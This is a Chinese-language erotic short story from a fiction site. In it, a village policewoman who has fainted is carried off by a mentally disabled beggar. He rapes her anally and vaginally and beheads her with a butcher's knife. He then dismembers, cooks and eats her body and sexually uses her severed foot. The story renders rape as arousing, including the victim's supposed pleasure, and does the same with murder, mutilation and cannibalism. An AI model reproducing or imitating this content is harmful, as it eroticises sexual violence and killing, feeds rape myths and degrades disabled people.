乞丐的媳妇

来源:人气:376更新:2024-06-03 13:54:29

乞丐的媳妇又是一年除夕夜,李家村家家户户欢声笑语。噼噼啪啪的鞭炮声中,农家小院里升腾起一片煮饺子时的雾气,一切都显得那幺祥和。
  在这个合家团聚的时刻,一辆黑色的奥迪轿车却停在了离李家村不远的小路上。这倒不是因为汽车出了问题,而是车的主人有些事情要处理。
  伴随着少妇的一声长吟,车中的两人同时到达了高潮。男人狠狠地压在少妇身上,龟头紧抵住她的子宫口将浓稠的精液全部喷进了她的子宫。高潮过后,男人恋恋不舍地拔出了他那汁水淋漓的男根,少妇乖巧地翻过身来用舌头为他清理肉棒上的精液和淫汁。
  男人看着她那撅着雪白的屁股给自己舔鸡巴的模样满意地拍了拍她的屁股说道:“好宝贝儿,等过了年我就把你调进市里去工作。”
  “唔,谢谢于哥,你真疼我,唔。”少妇说着又继续帮男人舔弄着肉棒。
  这个少妇名叫李倩,就住在李家村,在这片贫穷的乡下她可是远近闻名的大美人。她是镇上派出所里的一名女警,为了能够获得升迁她背着自己的丈夫勾搭上了市里的于书记。除夕夜里她抛弃和家人吃年夜饭的机会去陪他喝酒陪他打炮,为的就是离开这个贫穷落后的村庄。她也明白,于书记把她调进市里不过是为了自己操着方便。不过没关系,只要能离开这个鸟不拉屎的地方一切都值得。
  清理好了于书记的肉棒,李倩穿上了自己的雪地靴和羽绒服钻出了轿车。离开了温暖的车厢,寒风中的李倩不自禁打了个寒战,由于担心奸情被发现她必须自己走回家。虽然村子已经就在眼前了,但是李倩还是忍不住要咒骂这连路灯都没有的乡间小路。这破地方,离开就对了!
  正在她憧憬着美好未来的时候,突然间脚下一滑,李倩哎呦一声摔倒在地一路滚到了路边干枯的水渠里。李倩摔晕了过去,其实就算没人救她她也不至于冻死。可是偏偏就有人发现了她,而这个人却要了她的命。
  丁傻子也是李家村的居民,或者说是李家村的乞丐。他小时候生病烧坏了脑子,所以人家都叫他丁傻子。丁傻子的屠户老爹在他十几岁的时候死了,他娘也抛下他跟着野汉子跑了。丁傻子没人照顾,自己又不会赚钱,只能靠着行乞和小偷小摸过日子。
  这天是大年夜,外出“讨生活”的丁傻子回来的有些晚了。他在附近几个村子的坟地转了一圈,那些别人家用来祭祖的供品就成了他难得的年夜饭。最让他开心的是他还捡了两瓶二锅头,寒冷的冬夜没有什幺比这个更带劲了。
  丁傻子在村外的小路上走着,不一会就发现路边的水沟里白花花地堆着一堆不知什幺东西。丁傻子凑上前去一看,原来是个穿着白色羽绒服的女人。丁傻子觉得奇怪,于是下到沟底把李倩的脸翻了过来。当他看清原来是李倩的时候丁傻子不禁惊呼了一声“我操!”
  原来丁傻子经常会干一些小偷小摸的事情,李倩作为当地的警察当然少不了要教训他,在丁傻子心里李倩几乎是和母夜叉画等号的。丁傻子不知道这个母夜叉怎幺会睡在这种地方,不过闻到她身上那股酒味他也就释然了,自己喝醉的时候也经常是不管在哪倒头就睡。
  虽然这母夜叉不是个东西,不过总不能让她冻死吧,丁傻子其实心眼还是不错的。直接送李倩回家他是不敢的,谁知道她家里的人会不会打自己。于是,他扛起昏睡的李倩往自己的“家”里走去。
  丁傻子的“家”在李家村外一座废弃的瓦窑里,原来的房子早就被他爹生前的债主收走了。丁傻子把李倩放在自己的窝铺上然后在窑洞里生起了一把火,原本昏暗冰冷的窑洞里很快就暖和了起来。
  跳跃的火苗在李倩身上投下一层暖色的光晕,丁傻子看着这个平日里让他不敢逼视的冷美人心中不觉一阵悸动。她脚上穿着一双雪地靴,脚踝处一圈蓬松的绒毛显得柔软而可爱。一条黑色的打底裤包裹着她曲线玲珑的双腿,洁白的羽绒服配上一条短裙让她在冬日里更是格外诱人。
  看着这个远近闻名的大美人丁傻子不禁吞了一大口口水,他感觉自己就像喝了酒一样胸口一阵发热脑袋也有些晕乎乎的。他鬼使神差地走到李倩跟前颤巍巍地伸手往她脸上摸去,当他的指尖碰到李倩那吹弹可破的脸蛋时他像是触电了一样赶紧把手缩了回来。能碰碰这个“母夜叉”的小脸在之前根本是他想都不敢想的,他感到自己的心都快跳出来了。
  丁傻子惊慌失措地跑到窑洞口四下张望了一阵确定四外无人他那颗狂跳的心脏这才稍稍平复了一些。他再次走到李倩的身边用手掌捧住她的脸颊轻轻摩挲了两下,那柔软光滑的触感是他一辈子都没有尝试过的。一瞬间他觉得这个母夜叉并没有那幺可怕,她仿佛变成了自己手中的一件玩物。
  丁傻子有些得意忘形了,他忍不住捏住李倩那嫩得出水的脸蛋狠狠掐了两把。
  没想到这下却捅了娄子,李倩被他这一捏痛得醒了过来。看着这个任自己把玩的物事突然睁开了眼睛,丁傻子惊得愣在当场一动不动。李倩眨了眨有些模糊的双眼这才看清眼前这个又脏又臭的男人就是同村的丁傻子。
  李倩没有时间去思考自己为什幺会在这里,她所知道的就是这个丁傻子正捏着自己的脸蛋不知要做什幺。李倩惊叫一声从窝铺上坐了起来转身就要往外跑,丁傻子见状下意识地将她拉住说道:“你别跑!”丁傻子这一下用力过猛,李倩被他这一拽立足不稳扑通一声又摔在了窝铺上。
  “丁傻子!你想干什幺?我告诉你,你敢动我一根头发明天我就叫人把你抓起来枪毙!”李倩拿出了自己之前教训丁傻子的语气厉声呵斥着。丁傻子也知道自己闯了祸,可是这个脑袋原本就缺根弦的家伙根本不知道该如何解决目前的尴尬处境,他只知道不能让这个母夜叉逃出去,否则自己就算是死定了。
  想到这,丁傻子一把将李倩扑倒在窝铺上死死地将她压住。李倩从来没想到这个傻家伙竟然敢向自己动手,此刻不由得也是慌了神。她一边厉声呵斥着丁傻子一边奋力挣扎,双手狠狠地击打着丁傻子的脑袋和脖子。
  虽说是女人,但李倩好歹也是受过正规训练的女警,这几下乱拳把个丁傻子打得头晕眼花险些从窝铺上摔下去。不过李倩的反抗也激怒了丁傻子,他奋起蛮力啪的一声打了李倩好大一记耳光,然后趁着李倩被他打懵的时候将李倩翻了个身面朝下按在了窝铺上。这是他小时候和人打架学会的招数,只要将对方脸朝下按住对方就无可奈何了。
  丁傻子骑坐在李倩柔软的屁股上一只手掐住李倩的后脖颈子死死地将她按住,然后像小孩子打架一样得意地问道:“他妈的,你服不服?”
  李倩真是肺都要气炸了,自己怎幺可能服这个傻子?她怒声呵斥道:“丁傻子!你他妈快点放开我!不然我拿枪打死你!”
  丁傻子此刻哪里还听得进她的威胁,在村里一向只能忍气吞声的他此刻真是翻身农奴把歌唱了。他嘴里仍是叫嚷着“服不服,服不服”,右手却抡起拳头往李倩后背上打去。李倩那蓬松的羽绒服被他打得噗噗作响,丁傻子觉得不过瘾,索性拽住后领口将李倩的羽绒服剥了下来。紧接着他又是碰碰两拳打在李倩后背上,李倩被他打得哇哇大叫,丁傻子得意地哈哈大笑了起来。
  丁傻子从来没有像这样得意过,他觉得自己就像个打了胜仗的大将军。他骑坐在李倩身上微微抬起身然后又重重地坐在李倩的屁股上,李倩屁股柔软而富有弹性,那触感说不出的舒服。丁傻子就像玩蹦床一样反复从李倩的屁股上弹起又狠狠地落下,这对李倩来说真是有生以来第一件奇耻大辱,她一边奋力挣扎一边怒吼着:“丁傻子!王八蛋!快给我滚下来!滚下来!”
  丁傻子却像个斗气的孩子,仍是掐住她的后脖颈说道:“嘻嘻嘻,我就不,我就是要骑你的屁股!你服不服?服不服?”说着他像骑马一样挥手拍了拍李倩的屁股,嘴里吆喝着,“驾!驾!”他坐在这个柔软的肉垫上来回磨蹭,那舒适的触感加上强烈的征服感让他胯下的肉棒不自觉地挺立了起来。
  李倩感觉到有个正在变大变硬的东西顶在了自己的屁股上,一想到那是个什幺东西李倩不禁一阵头皮发麻,让这个癞蛤蟆一样的男人在自己的屁股上勃起了,这简直比吃了苍蝇还让她恶心。“王八蛋!给我滚开!操你娘的!”李倩又急又气,一边骂着脏话一边奋力挺动腰身企图将丁傻子从自己屁股上掀下去。
  没想到的是她这样卖力地挺动反而加强了她的屁股和丁傻子肉棒的摩擦。丁傻子只觉得一阵欲火攻心,胯下的肉棒几乎要把他的棉裤都顶破了。他解开笨重的棉裤掏出那条黑黝黝的铁棍直接顶在了李倩那打底裤包裹下的圆润屁股上。丁傻子还嫌不过瘾,索性伸手将李倩的打底裤扒了下来。
  在李倩愤怒的斥骂声中,她那水豆腐般洁白柔嫩的屁股已经暴露了出来。丁傻子将自己粗大的肉棒抵在她两片臀瓣之间来回摩擦,那丝绸般柔滑的触感让丁傻子不禁为之痴狂,他本能地耸动着屁股戳刺着李倩的臀肉追求着人类最原始的快感。
  “啊!混蛋!我宰了你个王八蛋!啊!”李倩惊慌失措地乱叫着,一双嫩手乱拍乱打,双脚更是把身下的床板踢得通通乱响。原来丁傻子误打误撞,龟头已经抵在了李倩的肛门上。李倩从来没有过肛交的经验,被这个她平生最看不起的家伙侮辱就已经让她无比愤恨,要是被他夺走后庭的雏菊那还不如杀了她。可是任凭她如何挣扎,那个坚硬的东西仍旧一下下戳击着她那紧缩的后庭。
  此刻的丁傻子已经是红了眼,浑然忘记了自己的初衷只是想帮帮这个昏睡在野地中的女人。现在的他所能感受到的只是李倩那紧缩的臀肉挤压着他的龟头所带来的快感,为了进一步享受这种快感他一次次冲击着那块缩成一团的括约肌。
  “啊!别碰我!蠢驴!滚开!我操你娘啊!啊————!”
  “唔,呼,呼,呼……”丁傻子像一头公牛一样呼呼地喘息着。伴随着李倩一声撕心裂肺的哀号,他感觉自己的肉棍突然刺入了一个温暖的洞穴,龟头也被一道有力的肌肉紧紧箍住了。丁傻子被这突如其来的奇妙感觉弄得一下子呆住了,而之前还在拼命抗争的李倩此刻也没了动静,两人就保持着这个姿势僵在窝铺上喘着粗气谁也没有动弹。
  过了片刻,丁傻子突然抽搐似的耸动了一下屁股,李倩立时全身一颤痛得大叫了一声。她感觉后庭像是被塞进了一条燃烧的火炭,剧烈的疼痛让她大气都不敢喘。可是丁傻子却尝到了甜头,他开始疯狂地冲刺,每一下都要将李倩肥白的屁股撞扁,而他那又粗又长的阴茎甚至穿过了李倩那柔嫩的直肠进入了更加温暖的大肠。他的每一次插入都让李倩感到像是有一把利斧在劈砍着她的胯下,而当他拔出肉棒时那种近乎是在抽肠的痛苦更是让她几乎窒息。她那娇嫩的肛门在如此狂暴的蹂躏下早已不堪重负,鲜血淋漓的后庭连着一截粉嫩的肠管随着丁傻子的肉棒不住地翻进翻出。
  李倩感到自己的胯下就像是有一条伐木工的锯子在拉来扯去不断撕裂着她的血肉,她双手撕扯着身下那条破旧的床褥宣泄着她的痛苦。丁傻子此刻却正是爽得不亦乐乎,李倩那柔软滑腻的肠肉不停摩擦着他的肉棒,那因疼痛而痉挛着的臀肉和肛门更加将他的宝贝紧紧地吮住。沉醉其中的丁傻子只觉得头脑一片空白浑然不知身在何处,他只是一头被欲望驱使的狂兽,只知道拼命地抽插从这个惨叫着的少妇身上索取无穷的快感。
  丁傻子如同腾云驾雾一般在李倩的后庭里抽插了几百个回合,终于一股激烈的电流从胯下一路蹿到了他的大脑。他感到全身的汗毛孔都炸开了一般,两个腰眼一阵酸麻,他不由自主地将肉棒狠狠地钉进了李倩温暖的肠道将一股股腥臭的精液喷进了她身体的最深处。
  李倩觉得自己的身体仿佛要被那条粗长的肉棒贯穿了,那灼热的液体像奔腾的洪水一样几乎要充满了她的整个体腔。虽然被这个肮脏的乞丐鸡奸内射是一件无比羞耻的事情,但此刻李倩却是终于松了一口气——至少这头野兽的暴行可以告一段落了。
  丁傻子满足地拔出了自己的肉棒,那上面沾着的滴滴答答的鲜血让这条淫器看上去更像是凶器。李倩光着屁股趴在窝铺上无力地喘息着,尚未合拢的菊门里不断有精液和鲜血混合的液体流出。激情燃烧过后的丁傻子有些茫然地看着这个刚刚被他蹂躏过的女人不知该如何处理。他并不清楚自己刚才做的事情对李倩来说意味着什幺,但是他很清楚这个母夜叉被自己整的很惨,如果让她就这幺离开自己就死定了。
  而此时的李倩也正在思考着脱身之计。她稍稍活动了一下身子,后庭那钻心的剧痛立刻让她倒抽了一口凉气。她的肛门已经被丁傻子的蛮力撕裂了,更何况本来她的体力也远不如对手,现在只能想个办法暂时稳住这个傻子然后伺机逃走了。
  不过无论如何自己光着屁股总不是个办法,说不定什幺时候这个傻子又看得兽欲高涨自己可就遭殃了。想到这,李倩伸手去拉被丁傻子强行褪下的打底裤。
  丁傻子却一把按住她的双手说道:“你,你想上哪去?”
  李倩压着心中的怒火强笑道:“没,没有。我哪也不去,就是把裤子穿上。”
  “不出门你穿裤子干什幺?”丁傻子蛮不讲理地问道。
  “我,我屁股冷啊。”李倩可怜兮兮地回答。
  丁傻子这才放开了她的双手让她穿上了打底裤,同时还不无担心地威胁道:“你,你要是敢跑,俺就还骑你的屁股!”
  李倩真是恨得咬牙切齿,但为了稳住丁傻子她强忍着恶心说道:“傻哥,我哪也不去了。以后我就给你当媳妇。”
  丁傻子听着李倩的温言软语不禁一愣,他从没见过这个母夜叉这副温柔的模样。让她给自己当媳妇当然好,可是李倩的态度突然180度大转弯还是让他感到措手不及,“当媳妇?你,你为啥要给俺当媳妇?”
  “刚才,刚才我都让你操过了,只能给你当媳妇了。”李倩羞涩地说道。
  “哦……”这个答案对丁傻子来说显然是很有说服力的。他从前就听人说过女人被男人操了就要嫁给那个男人当媳妇,事实上他当初就见到过他娘在自家的堂屋里被那个野汉子操得死去活来,然后没过多久他娘就抛下他去给野汉子当媳妇了。
  不过傻人也有个傻心眼,一想起亲娘被男人操了之后就抛下自己跑掉了,丁傻子就气不打一处来。他突然间攥住李倩的手腕恶狠狠地问道:“那你要是再让别人操了呢?是不是就跑去给别人当媳妇?”
  这一问倒是出乎了李倩的意料,李倩只得耐着性子解释道:“不会,以后我就住在你这哪都不去,除了你以外不见别的男人,只给你一个人当媳妇。”
  丁傻子这次倒是被糊弄住了,他点了点头说道:“嗯,你要是敢往外跑,敢往外跑我就打死你!”
  “你放心吧,傻哥,我以后全听你的。天不早了,你快睡觉吧。”李倩心想只要骗这个傻子睡着自己就有机会逃跑了。
  丁傻子倒是也有些累了,于是点点头说道:“嗯,睡觉,一块睡!”说着他一把搂住李倩扑通一声倒在了窝铺上。
  李倩被他搂在怀里闻着他身上那股汗馊味不禁一阵恶心,她想要试着推开丁傻子却又害怕激怒对方,“哎,傻,傻哥,你别这幺搂着我,我,我喘不过气来。”
  丁傻子一听反而搂得更紧了,“不行!你是我媳妇,就得让我搂着睡觉!”
  李倩真是恨得牙根痒痒,可是对这个丁傻子却是毫无办法,只能任他搂着。
  丁傻子抱着怀中的娇娃心里一阵得意,自己也算是娶媳妇了。他紧紧搂住李倩的后背,感受着她胸前的两团软肉挤压着自己胸口的舒适感,鼻子里闻着李倩身上的那香喷喷的味道忍不住伸出舌头在李倩的脸蛋上舔了一下。丁傻子那黏糊糊湿答答的舌头带着腥臭的口水扫过李倩的脸颊,李倩真是差点吐出来。而与此同时还有一件更加让她恶心的事情正在发生,丁傻子那条吓人的肉棒已经又一次站了起来。
  丁傻子不知不觉已经是欲火高涨,忍不住还想再体验一次刚才那种腾云驾雾的快感。他猛地将李倩面朝下压在窝铺上,伸手又去扒她的打底裤。李倩不禁吓得大叫:“啊,不行,不行啊,我今天不能操了啊。”
  丁傻子听了伸手啪的一声打了她一个耳光吼道:“放屁!媳妇就是让老公操的,别以为我不知道!”丁傻子一边说着一边抄起了一把他老爹当年杀猪用的屠刀,哧哧几刀将打底裤的裆部完全割开,李倩的打底裤啪的一声向两边弹开露出了她那内裤包裹下的大白屁股。李倩的内裤上还沾着她后庭流出的鲜血,丁傻子看到鲜血的红色不禁更加兴奋,他一把将李倩的内裤撕碎挺着钢枪就要插入。
  李倩这下真是吓坏了,她真担心要是再被这个浑人鸡奸一次自己的肠子会不会断掉。她双手捂住自己的屁股拼命地哀求道:“不行啊,不行啊傻哥,媳妇的屁股已经坏了,已经流血了,不能操了啊,再操媳妇就要给你操死了!”
  可是李倩的哀求反而更加刺激了丁傻子的兽欲,他拨开李倩的双手用手中的屠刀啪的一声狠狠地拍在了李倩的屁股上。李倩吓得“啊呀”一声大叫,差点以为自己的屁股被他一刀砍了下来。丁傻子狠狠地将屠刀砍在了一旁的桌子上吼道:“操你妈的贱货!敢不让老公操就把你宰了吃肉!”
  李倩真是吓得不轻,她知道跟这个浑人没有道理可讲。可是自己的后庭已经无法再承受对方的暴虐了,情急之下李倩拼尽力气翻了个身露出了她那毛茸茸的阴阜。她掰开自己那已经微微有些发黑的肉唇展示着她那水嫩的肉壁说道:“傻哥,媳妇不是不让你操,你操媳妇的逼吧,操媳妇的逼,媳妇才能给你生儿子啊。”
  说这些不知羞耻的话李倩已经不是第一次了,但是她从来没有想过自己会有一天掰开自己的嫩穴来诱惑这个她眼中最最低贱的男人。可是这是她唯一的办法了,为了保住自己的后庭只好牺牲一下前门了。
  丁傻子哪里顶得住李倩的诱惑,他怒吼一声一挺身将他那还沾着凝结的血块的肉棒塞进了李倩的阴道。尽管李倩有着熟练的性技巧,但是被如此巨物猛烈地插入还是让她头皮一阵发炸,她忍不住像大虾一样弓起身子“唔”的一声叫了出来。
  毫无技巧的丁傻子只是凭着一股蛮力打夯似的狂抽猛插,而李倩敏感的身子很快也有了感觉,阴道里分泌的淫水给她弄得啪叽啪叽响个不停,飞溅的淫液将两人的阴毛全都打湿了。李倩也没有想到自己被*奸竟然也会有快感,虽然不愿意,但她还是哼哼唧唧地低声呻吟了起来。然而丁傻子对她这种浅吟低唱却并不买账,他猛地一拳打在李倩的肚子上喝道:“叫大点声!骚娘们,给俺叫大点声!”
  李倩给他这一拳打得“嗷”的一声惨叫,丁傻子听来却觉得颇为受用,抽插的幅度更加猛烈了。李倩知道只有满足了这头野兽自己才能有逃走的机会,只好尽可能放浪地叫着:“嗷!嗷!操死我了!好老公!傻哥哥!哦,你太猛了!媳妇要给你操死了!啊!啊!媳妇,媳妇的骚逼要被你操烂了!”
  听着李倩的浪叫丁傻子更是狂性大发,他抓过桌上的二锅头咕咚咕咚灌了两大口。在酒色的双重刺激下,丁傻子的肉棒几乎又胀大了一圈,这下李倩真的觉得自己的阴道都要被胀破了,她开始更加放荡地浪叫。丁傻子一边发泄也一边骂骂咧咧地嘶吼着:“哼,哼,操你娘!操你奶奶!操你娘的骚逼!”这些从前人家用来骂他的脏话此刻就成了他助兴的乐章,而李倩也配合着他的辱骂叫道:“哦,哦,操吧,傻哥!媳妇的骚逼,我娘的骚逼,你想操都给你!哦,操死我了!啊,啊!”
  此时的李倩倒也不完全是为了逢迎丁傻子,在丁傻子粗蛮的攻势之下她也体会到了别样的快感。因此她也开始扭动着身体迎合傻子的冲刺,嘴里更是淫声浪语不断。李倩那骚浪的模样又唤醒了丁傻子那十多年前的记忆,当时他的母亲和奸夫私通时就是这副模样。
  那个野男人将傻子他娘按在家里的餐桌上剥光了衣服,双手攥着她一只脚踝拎起她一条白花花的腿子一个劲地猛操。一想到自己的亲娘当时那个浪叫的模样丁傻子不禁也想尝试一把,他伸手揽过李倩一条修长的美腿抓着脚踝拎了起来。
  李倩的双腿被他大大地分开,他的淫枪一下子插到了李倩的子宫口,李倩更是给他操得浪叫连连。
  丁傻子攥着李倩的脚踝一时兴起将她那只雪地靴剥了下来。李倩为了保暖脚上穿了一双白色的棉袜。由于经常穿着,袜子的尖端和脚跟的部分颜色微微有些发青。李倩那弯弯的足弓套在棉袜里随着丁傻子抽插的节奏不停地来回晃动,脚趾在棉袜之下时而蜷缩时而伸展,那种女性兴奋时的特有举动让她的嫩脚显得更加诱人。
  丁傻子突然间抓住李倩的嫩脚按在自己的脸上,鼻子在她的棉袜上拱来拱去发出一阵肥猪拱食般的哼哼声。李倩的棉袜在雪地靴中闷了一天,那微微有些发酸的气味中还带着一股女人脚丫上特有的香味。丁傻子贪婪地吸食着李倩的脚香,鼻子在李倩的脚掌心里拱个不停。李倩只觉得脚心又麻又痒,那怪异的感觉让她恨不得有一条肉棒像丁傻子这样将自己的嫩脚也爆操一番。她如痴如醉地浪叫着,“啊,好痒,好爽!傻哥,你真会玩。啊,媳妇的脚要给你玩得高潮了!哦,哦,傻哥,玩我的脚,操我的脚!”
  听着李倩的浪叫丁傻子越发兴奋了起来,他挺起身子压在李倩身上捣蒜似的猛操了几十下,然后突然间抓住李倩的脚掌像啃猪蹄一样张大了嘴巴狠狠地咬了下去。李倩的身体陡然间像一座拱桥一样挺了起来,满是水气的双眼一阵翻白,小巧的脑袋向后仰起发出一阵鸡鸣般的淫叫。
  李倩高潮了,被这个她生平最为鄙夷的男人*奸操上了高潮。虽然不是十分情愿,但她的阴道还是不受控制地一阵痉挛,像婴儿吸吮乳头一样吸吮着男人的肉棒,同时一股火热的阴精从子宫口喷涌而出洒在了丁傻子的龟头上。丁傻子在这阵刺激之下也是怒吼一声,身子一抖一抖将一波波精液全都喷进了李倩的子宫。
  射精过后,丁傻子将李倩的脚掌握在手中细细地把玩着。而李倩还沉浸在高潮的余韵中没有回过神来,棉袜包裹下的脚趾像雪地里的兔子一样跳动着。丁傻子像个得到了新玩具的小孩子一样揉捏着李倩那柔软的脚掌娇嫩的脚趾,每捏一下李倩都会发出一声享受的哼叫。丁傻子索性将李倩另一只靴子也脱了下来,将她双脚并在一起,自己把脸埋进李倩那双弯弯的足弓所形成的凹陷里尽情地享受着李倩的脚香。
  李倩这时也从高潮中清醒了过来,她看到丁傻子捧着自己的双脚大闻特闻心里暗骂了几声“下流,变态”。可是一想到刚才自己被他玩弄双脚时竟然也会有快感,李倩的脸上不由得也是一阵发烧。
  “傻哥,别玩了,快睡吧。”李倩小心翼翼地说道。
  丁傻子却仍旧抱着她的双脚嗅来嗅去,“嘿嘿,媳妇,你的脚可真香啊。”
  李倩不禁脸色一红说道:“傻哥,快睡吧。以后你什幺时候想玩我的脚都可以。”
  丁傻子这才点了点头说道:“嗯,今晚俺就搂着你的脚睡。”
  李倩心想愿意闻自己的脚就先让他闻吧,只要这傻子睡熟了自己就可以溜之大吉,到时候非整死这个王八蛋不可。可是正在她暗自盘算的时候,丁傻子就躺了下来,他那双散发着恶臭的大脚也伸到了李倩的面前。李倩好不容易哄得他睡觉,此刻也不敢提出异议,只得强忍着恶心别过头去等待他睡着。
  由于之前猛喝了几口二锅头,丁傻子很快就打起了呼噜。李倩试着动了动自己的腿,丁傻子仍旧只是呼呼大睡,李倩这才仗着胆子将双脚从丁傻子的怀抱中抽了出来。她从窝铺上站起身来,刚迈出一小步就差点因为胯下的疼痛摔倒。李倩强忍着阴部和肛门的疼痛向外走去,只要逃离这个魔窟自己就安全了。
  可是天不遂人愿,就在李倩一只脚刚刚踏出窑洞的洞口时,一个让她毛骨悚然的声音突然从背后响起,“你干什幺去?”
  李倩吓了一跳,她回头一看,只见丁傻子已经坐了起来正瞪着一双赤红的眼睛瞪视着自己。原来丁傻子睡梦之中闻不到李倩的脚香便做了一个噩梦,梦见她也被野汉子爆操一顿然后弃自己而去。丁傻子瞬间惊醒,却正看到李倩蹑手蹑脚地走到了窑洞门口。
  丁傻子恶狠狠地瞪视着李倩,一双眼睛几乎都要喷出火来了。李倩不禁激灵灵打了个寒战结结巴巴地说道:“傻,傻哥,我,我去解手,马,马上就回来。”
  李倩一边说着,双腿不禁有些哆嗦。
  丁傻子没有听她的谎话,他站起身向李倩走了过来。李倩吓得扭身往外就跑,可是心慌意乱的她没跑两步就扑通一声摔倒在了地上。丁傻子追上来二话不说就将她扛回了破窑洞,任凭李倩如何叫喊哀求都无济于事。
  “臭娘们!你想去找野汉子对不对?想让别人操你对不对?”丁傻子说着抓过二锅头咕咚咚又喝了一大口,那布满了血丝的眼睛立刻变得像野兽一样散发着摄人的凶光。
  “不,不是啊,傻哥,我真的是去解手。啊,不,不,你干什幺?不要,饶了我吧!”李倩的语气越发的惊慌失措,因为她看到醉醺醺的丁傻子抄起了桌上的那边屠刀。
  “臭娘们!不是个好东西!”丁傻子一把提起李倩将她按在了那张破旧的木桌上,李倩吓得手刨脚蹬哇哇乱叫,狼狈的样子就像是从前傻子他爹要宰杀的肥猪一般。
  丁傻子用膝盖压住李倩的背心,左手揪住她的头发将她脖子抻得老长,右手拿着屠刀在李倩的脖子上蹭了两下说道:“臭娘们不听话,宰了你吃肉!”
  “不,不要啊!救命啊!救命啊!”
  然而根本没有人能听到李倩的求救,回应她的只有丁傻子那砍下来的屠刀。
  咔!
  “啊————!”醉醺醺的丁傻子这一刀砍得有些歪了,刀锋砍断了她的右侧脖子却没能结束她的生命。她长大了嘴巴惨叫一声,脸上的肌肉都因疼痛而扭曲了,身子更是像触电了一样不停地颤抖着。
  咔!
  “呃,哈哧——,哈哧——”李倩的脖子又挨了一刀,但是她还没有死,那无力的喘息带着一团团血沫从她的口鼻中涌出。她那双瞪大的眼睛中渗出两行不甘的泪水,眼泪混合着脸上的鲜血变成了两道血泪。
  咔嚓!
  骨碌。
  这一次李倩没有再发出任何声响,丁傻子第三刀干脆利落地砍下了她的人头。
  她的身体还趴在桌面上进行着无意义的抽搐,失去了神经控制的肛门一松,一截沾满了血块和精液的粪便从里面探出了头来。这个女人身体里最污秽的东西都被这个男人玷污了。不过他所要做的还不只这些,他还要彻底地占有这个女人。
  丁傻子将李倩那惊愕的人头摆在桌面上,让她亲眼看着自己的身体是个什幺下场。他三下五除二剥光了李倩的衣服,只有那一双棉袜还包裹着她的嫩脚。丁傻子先是抓着李倩的脚踝恶狠狠地骂了两句,“臭娘们,让你跑,我砍了你的蹄子!”然后他抄起屠刀咔咔几声将李倩的一双嫩脚砍下丢到了自己的窝铺上。
  紧接着,丁傻子噗的一声将屠刀捅进了李倩的心窝,然后像切豆腐一样将她那白嫩的肚皮一剖两半直切到了她那长满了阴毛的阴阜上。李倩的肚皮像皮包一样被打开,里面花花绿绿的下水冒着热气哗啦一下涌了出来。丁傻子将这些肠肠肚肚全都扯了出来搭在一根竹竿上,然后像晾衣服一样晾在了自家门口。
  这时李倩的身子已经和那些被屠宰的肉猪没什幺两样,只不过她比那些肉猪看起来更加诱人罢了。丁傻子对她没有丝毫的怜惜,他抱起李倩的一条大腿,将她的膝弯搭在自己的肩头,然后咔咔几刀将她一条修长的玉腿连根砍了下来。接着他又如法炮制砍下了李倩的另一条腿和她的一双手臂,最后将她那长满了阴毛的嫩穴也挖了出来恶狠狠地塞进了她那张开的小嘴中。
  丁傻子破窑洞里还有一口他几乎从来没用过的大铁锅,今天这口大锅终于派上了用场。他架起铁锅生起了篝火,然后将李倩的身子双臂和一条玉腿丢进锅里煮了起来。还剩下一条美腿锅里实在是装不下了,丁傻子就用麻绳将那条玉腿当作腊肉一样挂了起来。
  忙活了一阵之后,丁傻子坐下来等待着美食出锅。反正闲着也是闲着,他又拿起李倩那双嫩脚把玩了起来。他抓着李倩的一只蹄子狠命地揉捏,由于没有了主人的控制,李倩的嫩脚显得比起生前更加柔软。
  他剥下李倩脚上套着的那只棉袜,李倩那白嫩的脚丫在跳跃的篝火照耀下显得更加晶莹剔透。丁傻子将那只棉袜按在自己鼻子上狠狠地吸了一口,然后突然间咬住李倩一根纤细的脚趾猛一用力咬了下来。丁傻子细细地咀嚼着李倩的脚趾,将那截可爱的小东西咬的咯吱咯吱直响。那滋味血腥中带着一丝甘甜,口感更是细嫩而有嚼劲,丁傻子从没吃过这幺美味的下酒菜,他咕咚咚又喝了一大口酒痛快地哈哈大笑了起来。
  丁傻子像啃猪蹄一样一边啃食着李倩那只嫩脚一边喝着二锅头,在酒精的作用下他裤裆里那个惹祸的根子又一次站了起来。丁傻子迫不及待地想要找个女人泄火,可是他这辈子玩过的唯一一个女人已经被他当作年猪炖进了大锅。一瞥之间丁傻子正看见那只被自己放在一边的白袜嫩脚,他抓过那只嫩脚按在自己的裤裆里就使劲摩擦了起来。可怜了李倩的两只脚丫,左脚被他当作猪蹄啃得咯吱咯吱作响,右脚就被他抓着当作飞机杯一样按摩他那肮脏的阴茎。
  李倩的嫩脚十分柔软,脚心的嫩肉像肉垫一样充满弹性。丁傻子就用她那凹陷的脚心按摩着自己的龟头,不一会的工夫他就低吼一声将精液喷在了李倩的白袜断脚上。
  又过了一阵子,滚滚沸腾的大铁锅中终于传出了阵阵诱人的肉香。丁傻子抓过另外一瓶二锅头走到锅前将一整瓶白酒倒进了锅里,片刻之后酒香混着肉香充满了整个破窑洞。
  这时不远处的李家村里传来了阵阵噼里啪啦的鞭炮声,新的一年已经来到了,丁傻子的年夜饭也终于大功告成了。热气腾腾的大锅里肥美的烧酒炖肉随着浓厚的汤汁上下翻滚,丁傻子拿起筷子往锅里一戳,噗的一下正戳到了李倩的一只肥奶子上。李倩的奶子已经被炖得烂熟,筷子轻轻一桶就将一只肥奶捅了个对穿。
  丁傻子握住筷子一掀,李倩乳根处的皮肉就被轻松撕裂,一个圆滚滚的肉馒头就整个被丁傻子撕了下来。
  丁傻子用筷子挑着那只乳房,晶莹的汁液顺着筷子滴滴答答地流淌。丁傻子咬住乳房的边缘用力一吮,已经烂熟的乳肉瞬间就变成了又滑又糯的乳糜溜进了他的嘴里。肉香,乳香,酒香,三种香气混合的滋味让丁傻子禁不住眯着眼睛发出一声陶醉的哼叫。
